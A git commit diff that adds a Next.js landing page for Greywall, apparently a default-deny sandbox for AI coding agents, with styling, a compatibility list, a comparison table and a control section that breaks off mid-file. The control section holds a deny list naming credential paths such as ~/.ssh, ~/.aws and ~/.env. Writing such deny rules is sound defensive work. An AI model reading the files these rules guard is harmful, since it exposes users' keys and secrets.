feat: landing page mvp
This commit is contained in:
6
.gitignore
vendored
Normal file
6
.gitignore
vendored
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
node_modules/
|
||||||
|
.next/
|
||||||
|
out/
|
||||||
|
.DS_Store
|
||||||
|
*.tsbuildinfo
|
||||||
|
next-env.d.ts
|
||||||
183
app/globals.css
Normal file
183
app/globals.css
Normal file
@@ -0,0 +1,183 @@
|
|||||||
|
@import 'tailwindcss';
|
||||||
|
@import 'tw-animate-css';
|
||||||
|
|
||||||
|
@custom-variant dark (&:is(.dark *));
|
||||||
|
|
||||||
|
:root {
|
||||||
|
--background: 240 240 236;
|
||||||
|
--foreground: 22 22 20;
|
||||||
|
--card: 249 249 247;
|
||||||
|
--card-foreground: 22 22 20;
|
||||||
|
--popover: 249 249 247;
|
||||||
|
--popover-foreground: 22 22 20;
|
||||||
|
--primary: 217 94 42;
|
||||||
|
--primary-foreground: 249 249 247;
|
||||||
|
--secondary: 240 240 236;
|
||||||
|
--secondary-foreground: 47 47 44;
|
||||||
|
--muted: 240 240 236;
|
||||||
|
--muted-foreground: 87 87 83;
|
||||||
|
--accent: 221 221 215;
|
||||||
|
--accent-foreground: 22 22 20;
|
||||||
|
--destructive: 180 50 50;
|
||||||
|
--destructive-foreground: 249 249 247;
|
||||||
|
--border: 196 196 189;
|
||||||
|
--input: 196 196 189;
|
||||||
|
--ring: 217 94 42;
|
||||||
|
--radius: 0.375rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.dark {
|
||||||
|
--background: 22 22 20;
|
||||||
|
--foreground: 249 249 247;
|
||||||
|
--card: 47 47 44;
|
||||||
|
--card-foreground: 249 249 247;
|
||||||
|
--popover: 47 47 44;
|
||||||
|
--popover-foreground: 249 249 247;
|
||||||
|
--primary: 217 94 42;
|
||||||
|
--primary-foreground: 249 249 247;
|
||||||
|
--secondary: 87 87 83;
|
||||||
|
--secondary-foreground: 249 249 247;
|
||||||
|
--muted: 87 87 83;
|
||||||
|
--muted-foreground: 196 196 189;
|
||||||
|
--accent: 87 87 83;
|
||||||
|
--accent-foreground: 249 249 247;
|
||||||
|
--destructive: 180 50 50;
|
||||||
|
--destructive-foreground: 249 249 247;
|
||||||
|
--border: 87 87 83;
|
||||||
|
--input: 87 87 83;
|
||||||
|
--ring: 217 94 42;
|
||||||
|
}
|
||||||
|
|
||||||
|
@theme inline {
|
||||||
|
--font-sans: 'Inter', ui-sans-serif, system-ui, sans-serif;
|
||||||
|
--font-serif: 'Source Serif 4', 'Source Serif Pro', Georgia, serif;
|
||||||
|
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||||
|
|
||||||
|
--color-background: rgb(var(--background));
|
||||||
|
--color-foreground: rgb(var(--foreground));
|
||||||
|
--color-card: rgb(var(--card));
|
||||||
|
--color-card-foreground: rgb(var(--card-foreground));
|
||||||
|
--color-popover: rgb(var(--popover));
|
||||||
|
--color-popover-foreground: rgb(var(--popover-foreground));
|
||||||
|
--color-primary: rgb(var(--primary));
|
||||||
|
--color-primary-foreground: rgb(var(--primary-foreground));
|
||||||
|
--color-secondary: rgb(var(--secondary));
|
||||||
|
--color-secondary-foreground: rgb(var(--secondary-foreground));
|
||||||
|
--color-muted: rgb(var(--muted));
|
||||||
|
--color-muted-foreground: rgb(var(--muted-foreground));
|
||||||
|
--color-accent: rgb(var(--accent));
|
||||||
|
--color-accent-foreground: rgb(var(--accent-foreground));
|
||||||
|
--color-destructive: rgb(var(--destructive));
|
||||||
|
--color-destructive-foreground: rgb(var(--destructive-foreground));
|
||||||
|
--color-border: rgb(var(--border));
|
||||||
|
--color-input: rgb(var(--input));
|
||||||
|
--color-ring: rgb(var(--ring));
|
||||||
|
--radius-sm: calc(var(--radius) - 2px);
|
||||||
|
--radius-md: var(--radius);
|
||||||
|
--radius-lg: calc(var(--radius) + 2px);
|
||||||
|
--radius-xl: calc(var(--radius) + 4px);
|
||||||
|
|
||||||
|
--color-greyhaven-orange: #D95E2A;
|
||||||
|
--color-greyhaven-offblack: #161614;
|
||||||
|
--color-greyhaven-offwhite: #F9F9F7;
|
||||||
|
--color-greyhaven-grey1: #F0F0EC;
|
||||||
|
--color-greyhaven-grey2: #DDDDD7;
|
||||||
|
--color-greyhaven-grey3: #C4C4BD;
|
||||||
|
--color-greyhaven-grey4: #A6A69F;
|
||||||
|
--color-greyhaven-grey5: #7F7F79;
|
||||||
|
--color-greyhaven-grey7: #575753;
|
||||||
|
--color-greyhaven-grey8: #2F2F2C;
|
||||||
|
}
|
||||||
|
|
||||||
|
@layer base {
|
||||||
|
* {
|
||||||
|
@apply border-border outline-ring/50;
|
||||||
|
}
|
||||||
|
html {
|
||||||
|
scroll-behavior: smooth;
|
||||||
|
}
|
||||||
|
body {
|
||||||
|
@apply bg-background text-foreground;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Code block styling */
|
||||||
|
.code-block {
|
||||||
|
background: rgb(30 30 27);
|
||||||
|
border: 1px solid rgb(var(--border));
|
||||||
|
border-radius: var(--radius-lg);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Subtle glow effect for primary elements */
|
||||||
|
.glow-orange {
|
||||||
|
box-shadow: 0 0 40px rgba(217, 94, 42, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Terminal prompt styling */
|
||||||
|
.terminal-line::before {
|
||||||
|
content: '$ ';
|
||||||
|
color: rgb(var(--muted-foreground));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Smooth section transitions */
|
||||||
|
section {
|
||||||
|
scroll-margin-top: 5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Custom scrollbar for dark theme */
|
||||||
|
.dark ::-webkit-scrollbar {
|
||||||
|
width: 8px;
|
||||||
|
}
|
||||||
|
.dark ::-webkit-scrollbar-track {
|
||||||
|
background: rgb(22 22 20);
|
||||||
|
}
|
||||||
|
.dark ::-webkit-scrollbar-thumb {
|
||||||
|
background: rgb(87 87 83);
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Animated gradient border */
|
||||||
|
@keyframes border-glow {
|
||||||
|
0%, 100% { opacity: 0.3; }
|
||||||
|
50% { opacity: 0.6; }
|
||||||
|
}
|
||||||
|
|
||||||
|
.border-glow {
|
||||||
|
animation: border-glow 3s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Layer card hover effect */
|
||||||
|
.layer-card {
|
||||||
|
transition: all 0.3s ease;
|
||||||
|
}
|
||||||
|
.layer-card:hover {
|
||||||
|
transform: translateY(-2px);
|
||||||
|
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Fade in animation for sections */
|
||||||
|
@keyframes fade-up {
|
||||||
|
from {
|
||||||
|
opacity: 0;
|
||||||
|
transform: translateY(20px);
|
||||||
|
}
|
||||||
|
to {
|
||||||
|
opacity: 1;
|
||||||
|
transform: translateY(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
.animate-fade-up {
|
||||||
|
animation: fade-up 0.6s ease-out forwards;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Stagger children */
|
||||||
|
.stagger-children > * {
|
||||||
|
opacity: 0;
|
||||||
|
animation: fade-up 0.5s ease-out forwards;
|
||||||
|
}
|
||||||
|
.stagger-children > *:nth-child(1) { animation-delay: 0.1s; }
|
||||||
|
.stagger-children > *:nth-child(2) { animation-delay: 0.2s; }
|
||||||
|
.stagger-children > *:nth-child(3) { animation-delay: 0.3s; }
|
||||||
|
.stagger-children > *:nth-child(4) { animation-delay: 0.4s; }
|
||||||
|
.stagger-children > *:nth-child(5) { animation-delay: 0.5s; }
|
||||||
38
app/layout.tsx
Normal file
38
app/layout.tsx
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
import type { Metadata } from 'next'
|
||||||
|
import './globals.css'
|
||||||
|
|
||||||
|
export const metadata: Metadata = {
|
||||||
|
title: 'Greywall — Sandbox for AI Agents',
|
||||||
|
description:
|
||||||
|
'Container-free, default-deny sandboxing with real-time observability for AI coding agents. Five defense layers. One command.',
|
||||||
|
icons: {
|
||||||
|
icon: [
|
||||||
|
{ url: '/icon.svg', type: 'image/svg+xml' },
|
||||||
|
{ url: '/icon-dark-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: dark)' },
|
||||||
|
{ url: '/icon-light-32x32.png', sizes: '32x32', type: 'image/png', media: '(prefers-color-scheme: light)' },
|
||||||
|
],
|
||||||
|
apple: '/apple-icon.png',
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function RootLayout({
|
||||||
|
children,
|
||||||
|
}: Readonly<{
|
||||||
|
children: React.ReactNode
|
||||||
|
}>) {
|
||||||
|
return (
|
||||||
|
<html lang="en" className="dark">
|
||||||
|
<head>
|
||||||
|
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||||
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossOrigin="anonymous" />
|
||||||
|
<link
|
||||||
|
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=Source+Serif+4:ital,opsz,wght@0,8..60,400;0,8..60,500;0,8..60,600;0,8..60,700;1,8..60,400&display=swap"
|
||||||
|
rel="stylesheet"
|
||||||
|
/>
|
||||||
|
</head>
|
||||||
|
<body className="font-sans antialiased bg-background text-foreground">
|
||||||
|
{children}
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
)
|
||||||
|
}
|
||||||
30
app/page.tsx
Normal file
30
app/page.tsx
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
'use client'
|
||||||
|
|
||||||
|
import { PlatformProvider } from '@/components/platform-toggle'
|
||||||
|
import { Nav } from '@/components/nav'
|
||||||
|
import { Hero } from '@/components/hero'
|
||||||
|
import { Agents } from '@/components/agents'
|
||||||
|
import { Problem } from '@/components/problem'
|
||||||
|
import { Layers } from '@/components/layers'
|
||||||
|
import { Observability } from '@/components/observability'
|
||||||
|
import { Control } from '@/components/control'
|
||||||
|
import { Comparison } from '@/components/comparison'
|
||||||
|
import { Footer } from '@/components/footer'
|
||||||
|
|
||||||
|
export default function Home() {
|
||||||
|
return (
|
||||||
|
<PlatformProvider>
|
||||||
|
<main className="min-h-screen">
|
||||||
|
<Nav />
|
||||||
|
<Hero />
|
||||||
|
<Agents />
|
||||||
|
<Problem />
|
||||||
|
<Layers />
|
||||||
|
<Observability />
|
||||||
|
<Control />
|
||||||
|
<Comparison />
|
||||||
|
<Footer />
|
||||||
|
</main>
|
||||||
|
</PlatformProvider>
|
||||||
|
)
|
||||||
|
}
|
||||||
58
components/agents.tsx
Normal file
58
components/agents.tsx
Normal file
@@ -0,0 +1,58 @@
|
|||||||
|
import { CheckCircle2 } from 'lucide-react'
|
||||||
|
|
||||||
|
const agents = [
|
||||||
|
{ name: 'Claude Code', org: 'anthropics' },
|
||||||
|
{ name: 'Codex', org: 'openai' },
|
||||||
|
{ name: 'Cursor', org: 'getcursor' },
|
||||||
|
{ name: 'Aider', org: 'Aider-AI' },
|
||||||
|
{ name: 'Goose', org: 'block' },
|
||||||
|
{ name: 'Amp', org: 'sourcegraph' },
|
||||||
|
{ name: 'Gemini CLI', org: 'google-gemini' },
|
||||||
|
{ name: 'Cline', org: 'cline' },
|
||||||
|
{ name: 'OpenCode', org: 'nicepkg' },
|
||||||
|
{ name: 'Copilot', org: 'github' },
|
||||||
|
]
|
||||||
|
|
||||||
|
export function Agents() {
|
||||||
|
return (
|
||||||
|
<section className="py-24 px-6 border-t border-border/30">
|
||||||
|
<div className="mx-auto max-w-5xl">
|
||||||
|
<div className="max-w-2xl mb-12">
|
||||||
|
<div className="flex items-center gap-2 mb-4">
|
||||||
|
<CheckCircle2 className="h-4 w-4 text-primary" />
|
||||||
|
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||||
|
Compatibility
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||||
|
Works with every agent.
|
||||||
|
</h2>
|
||||||
|
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||||
|
All agents work perfectly inside their sandbox — but can't impact anything outside
|
||||||
|
it. No agent-specific configuration needed.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3">
|
||||||
|
{agents.map((agent) => (
|
||||||
|
<div
|
||||||
|
key={agent.name}
|
||||||
|
className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 transition-all"
|
||||||
|
>
|
||||||
|
<img
|
||||||
|
src={`https://github.com/${agent.org}.png?size=64`}
|
||||||
|
alt={agent.name}
|
||||||
|
width={28}
|
||||||
|
height={28}
|
||||||
|
className="rounded-md shrink-0 bg-muted"
|
||||||
|
/>
|
||||||
|
<span className="text-sm font-sans font-medium text-foreground truncate">
|
||||||
|
{agent.name}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
)
|
||||||
|
}
|
||||||
288
components/comparison.tsx
Normal file
288
components/comparison.tsx
Normal file
@@ -0,0 +1,288 @@
|
|||||||
|
'use client'
|
||||||
|
|
||||||
|
import { ArrowRight, Check, X, Minus } from 'lucide-react'
|
||||||
|
|
||||||
|
type CellValue = 'yes' | 'no' | 'partial' | string
|
||||||
|
|
||||||
|
interface Row {
|
||||||
|
feature: string
|
||||||
|
greywall: CellValue
|
||||||
|
safehouse: CellValue
|
||||||
|
claudeSandbox: CellValue
|
||||||
|
containers: CellValue
|
||||||
|
}
|
||||||
|
|
||||||
|
const rows: Row[] = [
|
||||||
|
{
|
||||||
|
feature: 'Linux support',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'no',
|
||||||
|
claudeSandbox: 'yes',
|
||||||
|
containers: 'yes',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'macOS support',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'yes',
|
||||||
|
claudeSandbox: 'yes',
|
||||||
|
containers: 'partial',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Filesystem isolation',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'yes',
|
||||||
|
claudeSandbox: 'yes',
|
||||||
|
containers: 'yes',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Network isolation',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'no',
|
||||||
|
claudeSandbox: 'yes',
|
||||||
|
containers: 'yes',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Transparent network capture',
|
||||||
|
greywall: 'Linux',
|
||||||
|
safehouse: 'no',
|
||||||
|
claudeSandbox: 'no',
|
||||||
|
containers: 'no',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Command blocking',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'no',
|
||||||
|
claudeSandbox: 'no',
|
||||||
|
containers: 'no',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Real-time violation monitoring',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'no',
|
||||||
|
claudeSandbox: 'no',
|
||||||
|
containers: 'no',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Learning mode',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'no',
|
||||||
|
claudeSandbox: 'no',
|
||||||
|
containers: 'no',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Works with any agent',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'yes',
|
||||||
|
claudeSandbox: 'no',
|
||||||
|
containers: 'yes',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Sandboxes entire process',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'yes',
|
||||||
|
claudeSandbox: 'partial',
|
||||||
|
containers: 'yes',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Native tool access',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'yes',
|
||||||
|
claudeSandbox: 'yes',
|
||||||
|
containers: 'no',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'No image rebuilds on changes',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'yes',
|
||||||
|
claudeSandbox: 'yes',
|
||||||
|
containers: 'no',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Open source',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'yes',
|
||||||
|
claudeSandbox: 'partial',
|
||||||
|
containers: 'yes',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Syscall filtering',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'no',
|
||||||
|
claudeSandbox: 'no',
|
||||||
|
containers: 'partial',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'Dynamic allow/deny',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'no',
|
||||||
|
claudeSandbox: 'partial',
|
||||||
|
containers: 'no',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
feature: 'No deprecated APIs',
|
||||||
|
greywall: 'yes',
|
||||||
|
safehouse: 'no',
|
||||||
|
claudeSandbox: 'yes',
|
||||||
|
containers: 'yes',
|
||||||
|
},
|
||||||
|
]
|
||||||
|
|
||||||
|
function CellIcon({ value }: { value: CellValue }) {
|
||||||
|
if (value === 'yes') {
|
||||||
|
return (
|
||||||
|
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
|
||||||
|
<Check className="h-3 w-3 text-green-400" />
|
||||||
|
</span>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
if (value === 'no') {
|
||||||
|
return (
|
||||||
|
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
|
||||||
|
<X className="h-3 w-3 text-red-400/70" />
|
||||||
|
</span>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
if (value === 'partial') {
|
||||||
|
return (
|
||||||
|
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
|
||||||
|
<Minus className="h-3 w-3 text-yellow-400/70" />
|
||||||
|
</span>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
return (
|
||||||
|
<span className="text-xs font-mono text-muted-foreground">{value}</span>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export function Comparison() {
|
||||||
|
return (
|
||||||
|
<section id="comparison" className="py-24 px-6 border-t border-border/30">
|
||||||
|
<div className="mx-auto max-w-5xl">
|
||||||
|
<div className="max-w-2xl mb-12">
|
||||||
|
<div className="flex items-center gap-2 mb-4">
|
||||||
|
<ArrowRight className="h-4 w-4 text-primary" />
|
||||||
|
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||||
|
How it compares
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||||
|
Not all sandboxes are equal.
|
||||||
|
</h2>
|
||||||
|
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||||
|
Greywall combines filesystem isolation, network control, syscall filtering,
|
||||||
|
and real-time monitoring in a single tool. Here's how it stacks up.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Desktop table */}
|
||||||
|
<div className="hidden md:block rounded-lg border border-border/40 overflow-hidden">
|
||||||
|
<table className="w-full text-sm">
|
||||||
|
<thead>
|
||||||
|
<tr className="border-b border-border/40 bg-card/40">
|
||||||
|
<th className="text-left py-3.5 px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||||
|
Feature
|
||||||
|
</th>
|
||||||
|
<th className="text-center py-3.5 px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
|
||||||
|
Greywall
|
||||||
|
</th>
|
||||||
|
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||||
|
Safehouse
|
||||||
|
</th>
|
||||||
|
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||||
|
Claude Sandbox
|
||||||
|
</th>
|
||||||
|
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
|
||||||
|
Containers
|
||||||
|
</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody>
|
||||||
|
{rows.map((row, i) => (
|
||||||
|
<tr
|
||||||
|
key={row.feature}
|
||||||
|
className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`}
|
||||||
|
>
|
||||||
|
<td className="py-3 px-4 font-serif text-sm text-foreground">
|
||||||
|
{row.feature}
|
||||||
|
</td>
|
||||||
|
<td className="py-3 px-3 text-center">
|
||||||
|
<div className="flex justify-center">
|
||||||
|
<CellIcon value={row.greywall} />
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
<td className="py-3 px-3 text-center">
|
||||||
|
<div className="flex justify-center">
|
||||||
|
<CellIcon value={row.safehouse} />
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
<td className="py-3 px-3 text-center">
|
||||||
|
<div className="flex justify-center">
|
||||||
|
<CellIcon value={row.claudeSandbox} />
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
<td className="py-3 px-3 text-center">
|
||||||
|
<div className="flex justify-center">
|
||||||
|
<CellIcon value={row.containers} />
|
||||||
|
</div>
|
||||||
|
</td>
|
||||||
|
</tr>
|
||||||
|
))}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Mobile cards */}
|
||||||
|
<div className="md:hidden space-y-2">
|
||||||
|
{rows.map((row) => (
|
||||||
|
<div
|
||||||
|
key={row.feature}
|
||||||
|
className="p-4 rounded-lg border border-border/30 bg-card/20"
|
||||||
|
>
|
||||||
|
<div className="font-serif text-sm text-foreground mb-3">{row.feature}</div>
|
||||||
|
<div className="grid grid-cols-4 gap-1.5 text-center">
|
||||||
|
<div>
|
||||||
|
<div className="text-[10px] font-sans text-primary font-medium mb-1">Greywall</div>
|
||||||
|
<div className="flex justify-center"><CellIcon value={row.greywall} /></div>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Safehouse</div>
|
||||||
|
<div className="flex justify-center"><CellIcon value={row.safehouse} /></div>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Claude</div>
|
||||||
|
<div className="flex justify-center"><CellIcon value={row.claudeSandbox} /></div>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Containers</div>
|
||||||
|
<div className="flex justify-center"><CellIcon value={row.containers} /></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Legend */}
|
||||||
|
<div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
|
||||||
|
<div className="flex items-center gap-1.5">
|
||||||
|
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-green-400/10">
|
||||||
|
<Check className="h-3 w-3 text-green-400" />
|
||||||
|
</span>
|
||||||
|
Supported
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-1.5">
|
||||||
|
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-yellow-400/10">
|
||||||
|
<Minus className="h-3 w-3 text-yellow-400/70" />
|
||||||
|
</span>
|
||||||
|
Partial
|
||||||
|
</div>
|
||||||
|
<div className="flex items-center gap-1.5">
|
||||||
|
<span className="inline-flex items-center justify-center w-5 h-5 rounded-full bg-red-400/10">
|
||||||
|
<X className="h-3 w-3 text-red-400/70" />
|
||||||
|
</span>
|
||||||
|
Not supported
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
)
|
||||||
|
}
|
||||||
245
components/control.tsx
Normal file
245
components/control.tsx
Normal file
@@ -0,0 +1,245 @@
|
|||||||
|
'use client'
|
||||||
|
|
||||||
|
import { ShieldCheck, FolderLock, Wifi, Ban, GraduationCap } from 'lucide-react'
|
||||||
|
import { PlatformToggle, usePlatform } from './platform-toggle'
|
||||||
|
|
||||||
|
const tree = [
|
||||||
|
{ path: '~/my-project/', access: 'rw', color: 'green' },
|
||||||
|
{ path: ' src/', access: 'rw', color: 'green' },
|
||||||
|
{ path: ' package.json', access: 'rw', color: 'green' },
|
||||||
|
{ path: ' node_modules/', access: 'r', color: 'yellow' },
|
||||||
|
{ path: '~/shared-lib/', access: 'r', color: 'yellow' },
|
||||||
|
{ path: '~/.ssh/', access: 'deny', color: 'red' },
|
||||||
|
{ path: '~/.aws/', access: 'deny', color: 'red' },
|
||||||
|
{ path: '~/.env', access: 'deny', color: 'red' },
|
||||||
|
{ path: '~/other-repos/', access: 'deny', color: 'red' },
|
||||||
|
{ path: '~/Documents/', access: 'deny', color: 'red' },
|
||||||
|
]
|
||||||
|
|
||||||
|
const accessLabels: Record<string, string> = {
|
||||||
|
rw: 'read/write',
|
||||||
|
r: 'read-only',
|
||||||
|
deny: 'denied',
|
||||||
|
}
|
||||||
|
|
||||||
|
function badgeClasses(color: string) {
|
||||||
|
if (color === 'green') return 'bg-green-400/10 text-green-400/80'
|
||||||
|
if (color === 'yellow') return 'bg-yellow-400/10 text-yellow-400/70'
|
||||||
|
return 'bg-red-400/10 text-red-400/70'
|
||||||
|
}
|
||||||
|
|
||||||
|
function textColor(color: string) {
|
||||||
|
if (color === 'green') return 'text-green-400/80'
|
||||||
|
if (color === 'yellow') return 'text-yellow-400/70'
|
||||||
|
return 'text-red-400/70'
|
||||||
|
}
|
||||||
|
|
||||||
|
export function Control() {
|
||||||
|
const [platform] = usePlatform()
|
||||||
|
|
||||||
|
return (
|
||||||
|
<section className="py-24 px-6 border-t border-border/30">
|
||||||
|
<div className="mx-auto max-w-5xl">
|
||||||
|
<div className="flex flex-col sm:flex-row sm:items-end sm:justify-between gap-6 mb-16">
|
||||||
|
<div className="max-w-2xl">
|
||||||
|
<div className="flex items-center gap-2 mb-4">
|
||||||
|
<ShieldCheck className="h-4 w-4 text-primary" />
|
||||||
|
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||||
|
Control
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
|
||||||
|
Default deny. Explicit allow.
|
||||||
|
</h2>
|
||||||
|
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
|
||||||
|
Agents inherit your full permissions. Greywall flips this — nothing is accessible
|
||||||
|
unless explicitly granted. Filesystem, network, and commands all start closed.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<PlatformToggle />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
|
||||||
|
{/* Directory tree visualization */}
|
||||||
|
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
|
||||||
|
<div className="flex items-center gap-3 mb-5">
|
||||||
|
<FolderLock className="h-5 w-5 text-primary" />
|
||||||
|
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
|
||||||
|
</div>
|
||||||
|
<div className="space-y-1 font-mono text-sm">
|
||||||
|
{tree.map((item, i) => (
|
||||||
|
<div key={i} className="flex items-center justify-between py-1">
|
||||||
|
<span className={textColor(item.color)}>{item.path}</span>
|
||||||
|
<span
|
||||||
|
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`}
|
||||||
|
>
|
||||||
|
{accessLabels[item.access]}
|
||||||
|
</span>
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
|
||||||
|
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
|
||||||
|
are always protected — even inside allowed directories.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* Network isolation */}
|
||||||
|
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
|
||||||
|
<div className="flex items-center gap-3 mb-5">
|
||||||
|
<Wifi className="h-5 w-5 text-primary" />
|
||||||
|
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
|
||||||
|
</div>
|
||||||
|
{platform === 'linux' ? (
|
||||||
|
<div className="space-y-3 text-sm font-serif">
|
||||||
|
<div className="flex items-start gap-3">
|
||||||
|
<div className="w-1.5 h-1.5 rounded-full bg-red-400/70 mt-2 shrink-0" />
|
||||||
|
<p className="text-muted-foreground">
|
||||||
|
<span className="text-foreground">Full network namespace isolation</span> — the
|
||||||
|
sandboxed process cannot see the host network at all.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-start gap-3">
|
||||||
|
<div className="w-1.5 h-1.5 rounded-full bg-primary mt-2 shrink-0" />
|
||||||
|
<p className="text-muted-foreground">
|
||||||
|
<span className="text-foreground">TUN device captures every packet</span> at the
|
||||||
|
kernel — even binaries that ignore proxy env vars.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="flex items-start gap-3">
|
||||||
|
